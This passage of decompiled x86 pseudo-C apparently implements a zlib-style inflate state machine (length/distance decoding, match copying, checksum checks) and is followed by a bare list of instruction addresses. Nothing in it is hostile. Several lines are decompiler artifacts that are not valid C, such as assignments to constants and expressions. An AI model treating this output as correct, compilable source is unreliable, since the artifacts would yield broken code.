																__eax =  *(__edi + 0x68);
																__ebx = __ebx >> __cl;
																__esi = __esi - __ecx;
																if(__eax == 0) {
																	goto L302;
																} else {
																	__ecx =  *(__edi + 0x6e + __eax * 2) & 0x0000ffff;
																	__ebx = __ebx & 0x00000003;
																	__eax = (__ebx & 0x00000003) + 3;
																	__ebx = __ebx >> 2;
																	 *(__esp + 0x20) = __ecx;
																	 *(__esp + 0x14) = __eax;
																	__esi = __esi - 2;
																	L205:
																	__ecx =  *(__edi + 0x68);
																	__ecx =  *(__edi + 0x68) + __eax;
																	 *(__edi + 0x64) =  *(__edi + 0x64) +  *(__edi + 0x60);
																	if(__ecx >  *(__edi + 0x64) +  *(__edi + 0x60)) {
																		L34:
																		__eax =  *(__esp + 0x40);
																		 *(__eax + 0x18) = 0x41d338;
																		goto L303;
																	} else {
																		if( *(__esp + 0x14) != 0) {
																			__eax =  *(__esp + 0x20);
																			do {
																				__ecx =  *(__edi + 0x68);
																				 *(__esp + 0x14) =  *(__esp + 0x14) - 1;
																				 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __ax;
																				 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
																			} while ( *(__esp + 0x14) != 0);
																		}
																		goto L209;
																	}
																}
															} else {
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__ecx =  *(__esp + 0x2c);
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																	__eax = __ecx + 2;
																	__ebp =  &(__ebp[1]);
																	 *(__esp + 0x10) = __edx;
																	if(__esi < __eax) {
																		continue;
																	} else {
																		goto L192;
																	}
																	goto L331;
																}
																goto L312;
															}
														}
													} else {
														__eax = __eax >> 8;
														__ecx = __cl & 0x000000ff;
														if(__esi >= (__cl & 0x000000ff)) {
															L186:
															__ecx = __ah & 0x000000ff;
															__eax =  *(__edi + 0x68);
															__ebx = __ebx >> __cl;
															__esi = __esi - (__ah & 0x000000ff);
															__cx =  *((intOrPtr*)(__esp + 0x16));
															 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __cx;
															 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
															goto L209;
														} else {
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																__eax =  *(__esp + 0x14);
																__ecx = __ah & 0x000000ff;
																 *(__esp + 0x10) = __edx;
																if(__esi < (__ah & 0x000000ff)) {
																	continue;
																} else {
																	goto L186;
																}
																goto L331;
															}
															goto L312;
														}
													}
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__ecx =  *(__edi + 0x54);
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
														1 = 1 << __cl;
														__ecx =  *(__edi + 0x4c);
														__ebp =  &(__ebp[1]);
														 *(__esp + 0x10) = __edx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
														__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
														1 = 1 >> 8;
														__ecx = __cl & 0x000000ff;
														 *(__esp + 0x14) = 1;
														if((__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L181;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L209:
												__eax =  *(__edi + 0x64);
												__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
											} while ( *(__edi + 0x68) < __eax);
											goto L210;
										}
										goto L331;
									case 0x12:
										L216:
										if(__edx < 6 ||  *(__esp + 0x18) < 0x102) {
											__ecx =  *(__edi + 0x54);
											1 = 1 << __cl;
											(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__ecx = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__eax =  *(__edi + 0x4c);
											__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
											__eax = __eax >> 8;
											__ecx = __cl & 0x000000ff;
											 *(__esp + 0x14) = __eax;
											if((__cl & 0x000000ff) <= __esi) {
												L223:
												if(__al == 0 || (__al & 0x000000f0) != 0) {
													L230:
													__eax = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													__ebx = __ebx >> __cl;
													__esi = __esi - __ecx;
													 *(__esp + 0x20) = __ecx;
													__eax = __eax >> 0x10;
													 *(__edi + 0x40) = __eax >> 0x10;
													if(__al != 0) {
														if((__al & 0x00000020) == 0) {
															if((__al & 0x00000040) == 0) {
																__al & 0x000000ff = __al & 0xf;
																 *(__edi + 0x48) = __al & 0xf;
																 *__edi = 0x13;
																goto L237;
															} else {
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L303;
															}
														} else {
															L233:
															 *__edi = 0xb;
															goto L304;
														}
													} else {
														 *__edi = 0x17;
														goto L304;
													}
												} else {
													__eax = __eax >> 8;
													 *(__esp + 0x34) = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x20) = __cl & 0x000000ff;
													__al & 0x000000ff = (__al & 0x000000ff) +  *(__esp + 0x20);
													 *(__esp + 0x2c) = __eax;
													1 = 1 << __cl;
													__ecx =  *(__esp + 0x20);
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
													 *(__esp + 0x14) =  *(__esp + 0x14) >> 0x10;
													__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__ecx = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__eax =  *(__edi + 0x4c);
													__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10)) * 4);
													__ecx =  *(__esp + 0x34) & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax = __al & 0x000000ff;
													__eax = (__al & 0x000000ff) + ( *(__esp + 0x34) & 0x000000ff);
													if(__eax <= __esi) {
														L229:
														__ecx =  *(__esp + 0x2d) & 0x000000ff;
														__eax =  *(__esp + 0x14);
														__ebx = __ebx >> __cl;
														__esi = __esi - ( *(__esp + 0x2d) & 0x000000ff);
														goto L230;
													} else {
														while(__edx != 0) {
															__eax =  *__ebp & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebp & 0x000000ff) << __cl;
															__ecx =  *(__esp + 0x2c);
															__edx = __edx - 1;
															__esi = __esi + 8;
															__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
															__eax = __ch & 0x000000ff;
															 *(__esp + 0x20) = __eax;
															__cl & 0x000000ff = (__cl & 0x000000ff) + __eax;
															1 = 1 << __cl;
															__ecx =  *(__esp + 0x20);
															__ebp =  &(__ebp[1]);
															 *(__esp + 0x10) = __edx;
															(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
															__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
															__ecx =  *(__esp + 0x2e) & 0x0000ffff;
															__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff);
															__ecx =  *(__edi + 0x4c);
															__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4);
															 *(__esp + 0x14) = 1;
															 *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4) >> 8 = __al & 0x000000ff;
															__eax = (__al & 0x000000ff) +  *(__esp + 0x20);
															if(__eax > __esi) {
																continue;
															} else {
																goto L229;
															}
															goto L331;
														}
														goto L312;
													}
												}
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__ecx =  *(__edi + 0x54);
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
													1 = 1 << __cl;
													__ecx =  *(__edi + 0x4c);
													__ebp =  &(__ebp[1]);
													 *(__esp + 0x10) = __edx;
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
													1 = 1 >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x14) = 1;
													if((__cl & 0x000000ff) > __esi) {
														continue;
													} else {
														goto L223;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__eax =  *(__esp + 0x40);
											__edx =  *(__esp + 0x18);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0x10) =  *(__esp + 0x18);
											__edx =  *(__esp + 0x28);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x10);
											_push( *(__esp + 0x28));
											 *__eax = __ebp;
											 *(__eax + 4) = __ecx;
											_push(__eax);
											 *(__edi + 0x38) = __ebx;
											 *(__edi + 0x3c) = __esi;
											__eax = E00406CA0();
											__eax =  *(__esp + 0x48);
											__edx =  *(__eax + 0x10);
											__ecx =  *(__eax + 0xc);
											__ebp =  *__eax;
											__eax =  *(__eax + 4);
											__ebx =  *(__edi + 0x38);
											__esi =  *(__edi + 0x3c);
											 *(__esp + 0x20) = __edx;
											__esp = __esp + 8;
											 *(__esp + 0x24) = __ecx;
											 *(__esp + 0x10) = __eax;
											__edx = __eax;
											goto L304;
										}
										goto L331;
									case 0x13:
										L237:
										__eax =  *(__edi + 0x48);
										if(__eax == 0) {
											L243:
											 *__edi = 0x14;
											goto L244;
										} else {
											if(__esi >= __eax) {
												L242:
												__ecx =  *(__edi + 0x48);
												1 = 1 << __cl;
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												 *(__edi + 0x40) =  *(__edi + 0x40) + ((0x00000001 << __cl) - 0x00000001 & __ebx);
												__ebx = __ebx >> __cl;
												__esi = __esi -  *(__edi + 0x48);
												goto L243;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi <  *(__edi + 0x48)) {
														continue;
													} else {
														goto L242;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x14:
										L244:
										__ecx =  *(__edi + 0x58);
										1 = 1 << __cl;
										(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
										__ecx = (0x00000001 << __cl) - 0x00000001 & __ebx;
										__eax =  *(__edi + 0x50);
										__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
										__eax = __eax >> 8;
										__ecx = __cl & 0x000000ff;
										 *(__esp + 0x14) = __eax;
										if((__cl & 0x000000ff) <= __esi) {
											L248:
											if((__al & 0x000000f0) != 0) {
												L253:
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												__ebx = __ebx >> __cl;
												__esi = __esi - __ecx;
												 *(__esp + 0x20) = __ecx;
												if((__al & 0x00000040) == 0) {
													__ecx = __eax;
													__eax = __al & 0x000000ff;
													__ecx = __ecx >> 0x10;
													__eax = __al & 0xf;
													 *(__edi + 0x44) = __ecx;
													 *(__edi + 0x48) = __al & 0xf;
													 *__edi = 0x15;
													goto L256;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											} else {
												__eax = __eax >> 8;
												 *(__esp + 0x34) = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x20) = __cl & 0x000000ff;
												__al & 0x000000ff = (__al & 0x000000ff) +  *(__esp + 0x20);
												 *(__esp + 0x2c) = __eax;
												1 = 1 << __cl;
												__ecx =  *(__esp + 0x20);
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
												 *(__esp + 0x14) =  *(__esp + 0x14) >> 0x10;
												__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
												__ecx = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
												__eax =  *(__edi + 0x50);
												__eax =  *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10)) * 4);
												__ecx =  *(__esp + 0x34) & 0x000000ff;
												 *(__esp + 0x14) = __eax;
												__eax = __al & 0x000000ff;
												__eax = (__al & 0x000000ff) + ( *(__esp + 0x34) & 0x000000ff);
												if(__eax <= __esi) {
													L252:
													__ecx =  *(__esp + 0x2d) & 0x000000ff;
													__eax =  *(__esp + 0x14);
													__ebx = __ebx >> __cl;
													__esi = __esi - ( *(__esp + 0x2d) & 0x000000ff);
													goto L253;
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__ecx =  *(__esp + 0x2c);
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
														__eax = __ch & 0x000000ff;
														 *(__esp + 0x20) = __eax;
														__cl & 0x000000ff = (__cl & 0x000000ff) + __eax;
														1 = 1 << __cl;
														__ecx =  *(__esp + 0x20);
														__ebp =  &(__ebp[1]);
														 *(__esp + 0x10) = __edx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
														__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
														__ecx =  *(__esp + 0x2e) & 0x0000ffff;
														__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff);
														__ecx =  *(__edi + 0x50);
														__eax =  *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4);
														 *(__esp + 0x14) = 1;
														 *( *(__edi + 0x50) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4) >> 8 = __al & 0x000000ff;
														__eax = (__al & 0x000000ff) +  *(__esp + 0x20);
														if(__eax > __esi) {
															continue;
														} else {
															goto L252;
														}
														goto L331;
													}
													goto L312;
												}
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__ecx =  *(__edi + 0x58);
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
												1 = 1 << __cl;
												__ecx =  *(__edi + 0x50);
												__ebp =  &(__ebp[1]);
												 *(__esp + 0x10) = __edx;
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
												1 = 1 >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x14) = 1;
												if((__cl & 0x000000ff) > __esi) {
													continue;
												} else {
													goto L248;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0x15:
										L256:
										__eax =  *(__edi + 0x48);
										if(__eax == 0) {
											L261:
											 *((intOrPtr*)(__edi + 0x2c)) =  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18);
											__ecx =  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18) +  *(__esp + 0x28);
											if( *(__edi + 0x44) <=  *((intOrPtr*)(__edi + 0x2c)) -  *(__esp + 0x18) +  *(__esp + 0x28)) {
												 *__edi = 0x16;
												goto L264;
											} else {
												__eax =  *(__esp + 0x40);
												 *(__eax + 0x18) = 0x41d338;
												goto L303;
											}
										} else {
											if(__esi >= __eax) {
												L260:
												__ecx =  *(__edi + 0x48);
												1 = 1 << __cl;
												__eax = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __ebx;
												 *(__edi + 0x44) =  *(__edi + 0x44) + __eax;
												__ebx = __ebx >> __cl;
												__esi = __esi -  *(__edi + 0x48);
												goto L261;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi <  *(__edi + 0x48)) {
														continue;
													} else {
														goto L260;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x16:
										L264:
										if( *(__esp + 0x18) == 0) {
											goto L312;
										} else {
											__ecx =  *(__esp + 0x28);
											__ecx =  *(__esp + 0x28) -  *(__esp + 0x18);
											__eax =  *(__edi + 0x44);
											if(__eax <= __ecx) {
												__ecx =  *(__esp + 0x24);
												__ecx =  *(__esp + 0x24) - __eax;
												__eax =  *(__edi + 0x40);
												 *(__esp + 0x2c) = __ecx;
												 *(__esp + 0x34) = __eax;
												goto L272;
											} else {
												__eax = __eax - __ecx;
												__ecx =  *(__edi + 0x30);
												 *(__esp + 0x14) = __eax;
												if(__eax <= __ecx) {
													 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) - __eax;
													__ecx =  *((intOrPtr*)(__edi + 0x34)) - __eax +  *(__edi + 0x30);
													__eax =  *(__esp + 0x14);
												} else {
													__eax = __eax - __ecx;
													 *((intOrPtr*)(__edi + 0x34)) =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28));
													 *(__esp + 0x14) = __eax;
													__ecx =  *((intOrPtr*)(__edi + 0x34)) +  *((intOrPtr*)(__edi + 0x28)) - __eax;
												}
												 *(__esp + 0x2c) = __ecx;
												__ecx =  *(__edi + 0x40);
												 *(__esp + 0x34) = __ecx;
												if(__eax > __ecx) {
													__eax = __ecx;
													L272:
													 *(__esp + 0x14) = __eax;
												}
											}
											__ecx =  *(__esp + 0x18);
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x14) = __eax;
											}
											 *(__esp + 0x18) = __ecx;
											__ecx =  *(__esp + 0x34);
											__ecx =  *(__esp + 0x34) - __eax;
											__eax =  *(__esp + 0x24);
											 *(__edi + 0x40) = __ecx;
											do {
												__ecx =  *(__esp + 0x2c);
												__cl =  *( *(__esp + 0x2c));
												 *(__esp + 0x2c) =  *(__esp + 0x2c) + 1;
												 *__eax = __cl;
												__eax = __eax + 1;
												_t549 = __esp + 0x14;
												 *_t549 =  *(__esp + 0x14) - 1;
											} while ( *_t549 != 0);
											 *(__esp + 0x24) = __eax;
											if( *(__edi + 0x40) == 0) {
												 *__edi = 0x12;
											}
											goto L304;
										}
										goto L331;
									case 0x17:
										if( *(__esp + 0x18) == 0) {
											goto L312;
										} else {
											__eax =  *(__esp + 0x24);
											__cl =  *(__edi + 0x40);
											 *__eax = __cl;
											__eax = __eax + 1;
											 *(__esp + 0x18) =  *(__esp + 0x18) - 1;
											 *(__esp + 0x24) = __eax;
											 *__edi = 0x12;
											goto L304;
										}
										goto L331;
									case 0x18:
										if( *((intOrPtr*)(__edi + 8)) == 0) {
											L295:
											 *__edi = 0x19;
											goto L296;
										} else {
											if(__esi >= 0x20) {
												L285:
												__eax =  *(__esp + 0x28);
												__eax =  *(__esp + 0x28) -  *(__esp + 0x18);
												__ecx =  *(__esp + 0x40);
												 *((intOrPtr*)( *(__esp + 0x40) + 0x14)) =  *((intOrPtr*)( *(__esp + 0x40) + 0x14)) + __eax;
												 *((intOrPtr*)(__edi + 0x1c)) =  *((intOrPtr*)(__edi + 0x1c)) + __eax;
												 *(__esp + 0x28) = __eax;
												if(__eax != 0) {
													__ecx =  *(__esp + 0x24);
													__edx =  *(__edi + 0x18);
													_push(__eax);
													_push(__ecx);
													_push( *(__edi + 0x18));
													if( *(__edi + 0x10) == 0) {
														__eax = E004024A0();
													} else {
														__eax = E00403080();
													}
													__ecx =  *(__esp + 0x4c);
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
													__esp = __esp + 0xc;
													 *(__ecx + 0x30) = __eax;
												}
												__eax =  *(__esp + 0x18);
												 *(__esp + 0x28) =  *(__esp + 0x18);
												__eax = __ebx;
												if( *(__edi + 0x10) == 0) {
													__eax = __eax & 0x0000ff00;
													__ebx = __ebx << 0x10;
													__eax = __eax + (__ebx << 0x10);
													__ebx = __ebx >> 8;
													__ecx = __ebx >> 0x00000008 & 0x0000ff00;
													__eax = __eax << 8;
													__eax = __eax + (__ebx >> 0x00000008 & 0x0000ff00);
													__ebx = __ebx >> 0x18;
													__eax = __eax + (__ebx >> 0x18);
												}
												if(__eax ==  *(__edi + 0x18)) {
													__ebx = 0;
													__esi = 0;
													goto L295;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x20) {
														continue;
													} else {
														goto L285;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x19:
										L296:
										if( *((intOrPtr*)(__edi + 8)) == 0 ||  *(__edi + 0x10) == 0) {
											L309:
											 *__edi = 0x1a;
											goto L310;
										} else {
											if(__esi >= 0x20) {
												L301:
												if(__ebx ==  *((intOrPtr*)(__edi + 0x1c))) {
													__ebx = 0;
													__esi = 0;
													goto L309;
												} else {
													L302:
													( *(_t730 + 0x40))[6] = 0x41d338;
													L303:
													 *_t714 = 0x1b;
													goto L304;
												}
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x20) {
														continue;
													} else {
														goto L301;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x1a:
										L310:
										 *(__esp + 0x30) = 1;
										goto L312;
									case 0x1b:
										 *(__esp + 0x30) = 0xfffffffd;
										L312:
										_t651 =  *(_t730 + 0x40);
										_t651[3] =  *(_t730 + 0x24);
										_t651[4] =  *(_t730 + 0x18);
										 *_t651 = _t723;
										_t651[1] = _t705;
										_t714[0xe] = _t667;
										_t714[0xf] = _t716;
										if(_t714[0xa] != 0 ||  *_t714 < 0x18 &&  *(_t730 + 0x28) != _t651[4]) {
											if(E004072B0( *(_t730 + 0x28),  *(_t730 + 0x40)) == 0) {
												goto L318;
											} else {
												 *_t714 = 0x1c;
												goto L317;
											}
										} else {
											L318:
											_t718 =  *(_t730 + 0x40);
											_t726 =  *(_t730 + 0x38) - _t718[1];
											_t675 =  *(_t730 + 0x28) - _t718[4];
											_t718[2] =  &(_t718[2][_t726]);
											_t718[5] =  &(_t718[5][_t675]);
											_t714[7] = _t714[7] + _t675;
											if(_t714[2] != 0 && _t675 != 0) {
												_push(_t675);
												if(_t714[4] == 0) {
													_push(_t718[3] - _t675);
													_push(_t714[6]);
													_t662 = E004024A0();
												} else {
													_push(_t718[3] - _t675);
													_push(_t714[6]);
													_t662 = E00403080();
												}
												_t714[6] = _t662;
												_t730 = _t730 + 0xc;
												_t718[0xc] = _t662;
											}
											asm("sbb edx, edx");
											_t718[0xb] = ( ~(_t714[1]) & 0x00000040) + ((0 |  *_t714 != 0x0000000b) - 0x00000001 & 0x00000080) + _t714[0xf];
											if(_t726 != 0 || _t675 != 0) {
												if( *((intOrPtr*)(_t730 + 0x44)) != 4) {
													return  *(_t730 + 0x30);
												} else {
													goto L327;
												}
											} else {
												L327:
												_t641 =  *(_t730 + 0x30);
												if(_t641 != 0) {
													L306:
													return _t641;
												} else {
													return 0xfffffffb;
												}
											}
										}
										goto L331;
									case 0x1c:
										L317:
										return 0xfffffffc;
										goto L331;
								}
								L304:
								_t640 =  *_t714;
							} while (_t640 <= 0x1c);
							goto L305;
						}
					}
				}
				L331:
			}

0x004073a0
0x004073aa
0x004087b7
0x004087c0
0x004073b0
0x004073b0
0x004073b5
0x00000000
0x004073d4
0x004073d7
0x004073d9
0x004073d9
0x004073e2
0x004073e6
0x004073ea
0x004073ec
0x004073f0
0x004073f3
0x004073f6
0x004073f9
0x004073fd
0x00407401
0x00407405
0x00407409
0x00407414
0x00408666
0x00408666
0x00000000
0x00407420
0x00407420
0x00407420
0x00000000
0x0040742b
0x0040743b
0x00407460
0x00407464
0x004074af
0x004074b2
0x004074bb
0x004074bd
0x004074bd
0x004074c8
0x00407562
0x00000000
0x004074e8
0x004074f0
0x00407506
0x0040750e
0x00407511
0x00407517
0x00407529
0x0040752b
0x0040752d
0x0040752f
0x00407532
0x0040753b
0x0040754a
0x0040754d
0x00407550
0x00407552
0x00407555
0x00407557
0x00407519
0x00407519
0x00000000
0x00407519
0x004074f2
0x004074f6
0x004074fa
0x00000000
0x004074fa
0x004074f0
0x0040746e
0x00407479
0x00407482
0x00407487
0x00407491
0x00407496
0x0040749a
0x0040749d
0x0040749f
0x004074a2
0x004074a4
0x004074a4
0x00000000
0x00407440
0x00407440
0x0040744e
0x00407450
0x00407451
0x00407454
0x00407455
0x00407457
0x0040745e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040745e
0x00000000
0x00407440
0x0040742d
0x0040742d
0x00000000
0x0040742d
0x00000000
0x00000000
0x00407575
0x00407597
0x00407597
0x0040759d
0x00000000
0x004075a3
0x004075a9
0x004075bb
0x004075c0
0x004075c4
0x004075c7
0x004075ca
0x004075ca
0x004075d3
0x004075d5
0x004075d9
0x004075de
0x004075e2
0x004075e6
0x004075eb
0x004075f0
0x004075f7
0x004075f7
0x004075fa
0x004075fc
0x004075fe
0x00000000
0x00000000
0x00000000
0x00000000
0x004075a9
0x00407577
0x00407577
0x0040757f
0x00407583
0x00407585
0x00407587
0x00407588
0x0040758b
0x0040758c
0x0040758e
0x00407595
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407595
0x00000000
0x00407577
0x00000000
0x00000000
0x00407609
0x00407630
0x00407630
0x00407635
0x00407637
0x00407637
0x00407641
0x00407643
0x00407647
0x00407649
0x0040764b
0x0040764e
0x00407651
0x00407656
0x0040765a
0x0040765e
0x00407662
0x00407666
0x0040766b
0x00407670
0x00407677
0x00407677
0x0040767a
0x0040767c
0x0040767e
0x00000000
0x0040760b
0x00000000
0x00407610
0x00407618
0x0040761c
0x0040761e
0x00407620
0x00407621
0x00407624
0x00407625
0x00407627
0x0040762e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040762e
0x00000000
0x00407610
0x00000000
0x00000000
0x00407689
0x004076b0
0x004076b0
0x004076b5
0x004076b9
0x004076bf
0x004076c2
0x004076c5
0x004076c7
0x004076ca
0x004076ca
0x004076d4
0x004076d6
0x004076da
0x004076df
0x004076e3
0x004076e7
0x004076ec
0x004076f1
0x004076f8
0x004076f8
0x004076fb
0x004076fd
0x004076ff
0x00000000
0x0040768b
0x00000000
0x00407690
0x00407698
0x0040769c
0x0040769e
0x004076a0
0x004076a1
0x004076a4
0x004076a5
0x004076a7
0x004076ae
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004076ae
0x00000000
0x00407690
0x00000000
0x00000000
0x00407705
0x0040770c
0x00407774
0x00407779
0x0040777b
0x0040777b
0x00000000
0x0040770e
0x00407711
0x00407733
0x00407733
0x00407736
0x0040773b
0x0040773d
0x0040773d
0x00407747
0x00407749
0x0040774d
0x00407752
0x00407756
0x0040775a
0x0040775f
0x00407764
0x0040776b
0x0040776b
0x0040776e
0x00407770
0x00407782
0x00407782
0x00000000
0x00407713
0x00407713
0x0040771b
0x0040771f
0x00407721
0x00407723
0x00407724
0x00407727
0x00407728
0x0040772a
0x00407731
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407731
0x00000000
0x00407713
0x00407711
0x00000000
0x00000000
0x00407788
0x0040778f
0x00407833
0x00407833
0x0040783a
0x00000000
0x00407795
0x00407795
0x00407798
0x0040779e
0x004077a0
0x004077a2
0x004077a2
0x004077a8
0x004077aa
0x004077af
0x004077b1
0x004077b4
0x004077ba
0x004077bf
0x004077c2
0x004077c5
0x004077c8
0x004077cb
0x004077d3
0x004077d9
0x004077d9
0x004077db
0x004077e0
0x004077e4
0x004077e8
0x004077ed
0x004077f1
0x004077f5
0x004077ba
0x004077ff
0x00407801
0x00407805
0x0040780b
0x00407810
0x00407814
0x00407817
0x0040781b
0x0040781e
0x00407820
0x00407822
0x00407825
0x00407825
0x0040782d
